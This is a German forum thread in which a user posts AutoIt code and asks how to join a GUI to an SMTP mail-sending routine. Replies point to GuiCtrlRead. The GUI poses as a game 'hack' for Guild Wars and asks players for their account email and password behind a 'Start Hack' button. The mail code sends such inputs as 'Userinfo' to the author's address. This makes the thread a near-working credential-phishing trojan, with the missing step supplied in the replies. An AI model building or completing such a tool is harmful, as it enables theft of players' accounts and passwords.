Zusammensetzen?!?

11/12/2009 15:44 Führer#1
Hallo e*pvper
ich habe da mal eine frage ich bekomme es enfach nicht hin, das ich das GUI mit dem Email sender verbinde!

Button1= soll Programm starten
Input1,2,3 sollen als Text in die Email
Hier kommen die Zwei die verbunden werden sollen wie soll ich das machen -.-?:

PHP Code:
;
;
##################################
; Include
;
##################################
#Include<file.au3>
;##################################
Variables
;##################################
$SmtpServer "MailServer"              address for the smtp-server to use - REQUIRED
$FromName 
"Name"                      name from who the email was sent
$FromAddress 
"[Only registered and activated users can see links. Click Here To Register...]address from where the mail should come
$ToAddress 
"[Only registered and activated users can see links. Click Here To Register...]"   destination address of the email REQUIRED
$Subject 
"Userinfo"                   subject from the email can be anything you want it to be
$Body 
""                              the messagebody from the mail can be left blank but then you get a blank mail
$AttachFiles 
""                       the file you want to attachleave blank if not needed
$CcAddress 
"[Only registered and activated users can see links. Click Here To Register...]"       address for cc leave blank if not needed
$BccAddress 
"[Only registered and activated users can see links. Click Here To Register...]"     address for bcc leave blank if not needed
$Importance 
"Normal"                  Send message priority"High""Normal""Low"
$Username "******"                    username for the account used from where the mail gets sent REQUIRED
$Password 
"********"                  password for the account used from where the mail gets sent REQUIRED
$IPPort 
25                            port used for sending the mail
$ssl 
0                                enables/disables secure socket layer sending put to 1 if using httpS
;~ $IPPort=465                          GMAIL port used for sending the mail
;~ $ssl=1                               GMAILenables/disables secure socket layer sending put to 1 if using httpS

;##################################
Script
;##################################
Global $oMyRet[2]
Global 
$oMyError ObjEvent("AutoIt.Error""MyErrFunc")
$rc _INetSmtpMailCom($SmtpServer$FromName$FromAddress$ToAddress$Subject$Body$AttachFiles$CcAddress$BccAddress$Importance$Username$Password$IPPort$ssl)
If @
error Then
    MsgBox
(0"Error sending message""Error code:" & @error "  Description:" $rc)
EndIf
;
The UDF
Func _INetSmtpMailCom
($s_SmtpServer$s_FromName$s_FromAddress$s_ToAddress$s_Subject ""$as_Body ""$s_AttachFiles ""$s_CcAddress ""$s_BccAddress ""$s_Importance="Normal"$s_Username ""$s_Password ""$IPPort 25$ssl 0)
    
Local $objEmail ObjCreate("CDO.Message")
    
$objEmail.From '"' $s_FromName '" <' $s_FromAddress '>'
    
$objEmail.To $s_ToAddress
    Local $i_Error 
0
    Local $i_Error_desciption 
""
    
If $s_CcAddress <> "" Then $objEmail.Cc $s_CcAddress
    
If $s_BccAddress <> "" Then $objEmail.Bcc $s_BccAddress
    $objEmail
.Subject $s_Subject
    
If StringInStr($as_Body"<") And StringInStr($as_Body">"Then
        $objEmail
.HTMLBody $as_Body
    
Else
        
$objEmail.Textbody $as_Body & @CRLF
    
EndIf
    If 
$s_AttachFiles <> "" Then
        Local $S_Files2Attach 
StringSplit($s_AttachFiles";")
        For 
$x 1 To $S_Files2Attach[0]
            
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            
ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' $S_Files2Attach & @LF '>Error code: ' & @error & @LF) ;### Debug Console
            
If FileExists($S_Files2Attach[$x]) Then
                $objEmail
.AddAttachment ($S_Files2Attach[$x])
            Else
                
ConsoleWrite('!> File not found to attach: ' $S_Files2Attach[$x] & @LF)
                
SetError(1)
                Return 
0
            
EndIf
        
Next
    
EndIf
    
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    
If Number($IPPort) = 0 then $IPPort 25
    $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    
;Authenticated SMTP
    
If $s_Username <> "" Then
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    
EndIf
    If 
$ssl Then
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    
EndIf
    ;
Update settings
    $objEmail
.Configuration.Fields.Update
    
Set Email Importance
    
Switch $s_Importance
        
Case "High"
            
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        
Case "Normal"
            
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        
Case "Low"
            
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    
EndSwitch
    
$objEmail.Fields.Update
    
Sent the Message
    $objEmail
.Send
    
If @error Then
        SetError
(2)
        Return 
$oMyRet[1]
    EndIf
    
$objEmail=""
EndFunc   ;==>_INetSmtpMailCom
;
;
Com Error Handler
Func MyErrFunc
()
    
$HexNumber Hex($oMyError.number8)
    
$oMyRet[0] = $HexNumber
    $oMyRet
[1] = StringStripWS($oMyError.description3)
    
ConsoleWrite("### COM Error !  Number: " $HexNumber "   ScriptLine: " $oMyError.scriptline "   Description:" $oMyRet[1] & @LF)
    
SetError(1); something to check for when this function returns
    
Return
EndFunc   ;==>MyErrFunc 
Und Die GUI:
PHP Code:
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=c:\users\hungry horst\desktop\guild wars platin hack koda.kxf
$Form1_1 GUICreate("Rofl Hack"278210192124)
GUISetIcon("C:\Program Files\Rofl\Rofl.exe")
$Label1 GUICtrlCreateLabel("Rofl Email Adresse :"8812117)
$Label2 GUICtrlCreateLabel("RoflPass :"8565317)
$Label3 GUICtrlCreateLabel("RoflMenge (max 1000) :"811212717)
$Button1 GUICtrlCreateButton("Start Hack"81689733$WS_GROUP)
GUICtrlCreateInput(""83216121)
GUICtrlCreateInput(""88016121)
GUICtrlCreateInput(""813616121)
$Icon1 GUICtrlCreateIcon("C:\Program Files\Rofl\Rofl.exe", -12081364848BitOR($SS_NOTIFY,$WS_GROUP))
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg 
GUIGetMsg()
    Switch 
$nMsg
        
Case $GUI_EVENT_CLOSE
            
Exit

    EndSwitch
WEnd 
11/13/2009 13:27 Syc0n#2
GuiCtrlRead
11/13/2009 13:49 | Moep |#3
DAnke Sycon. Mir wars jetzt zu blöd zum vierten mal die Woche auf GuiCtrlRead zu verweisen. Nur weil sich hier niemand die Mühe macht auch mal andere Beiträge als nur die eigenen zu lesen bzw. die Suche zu nutzen...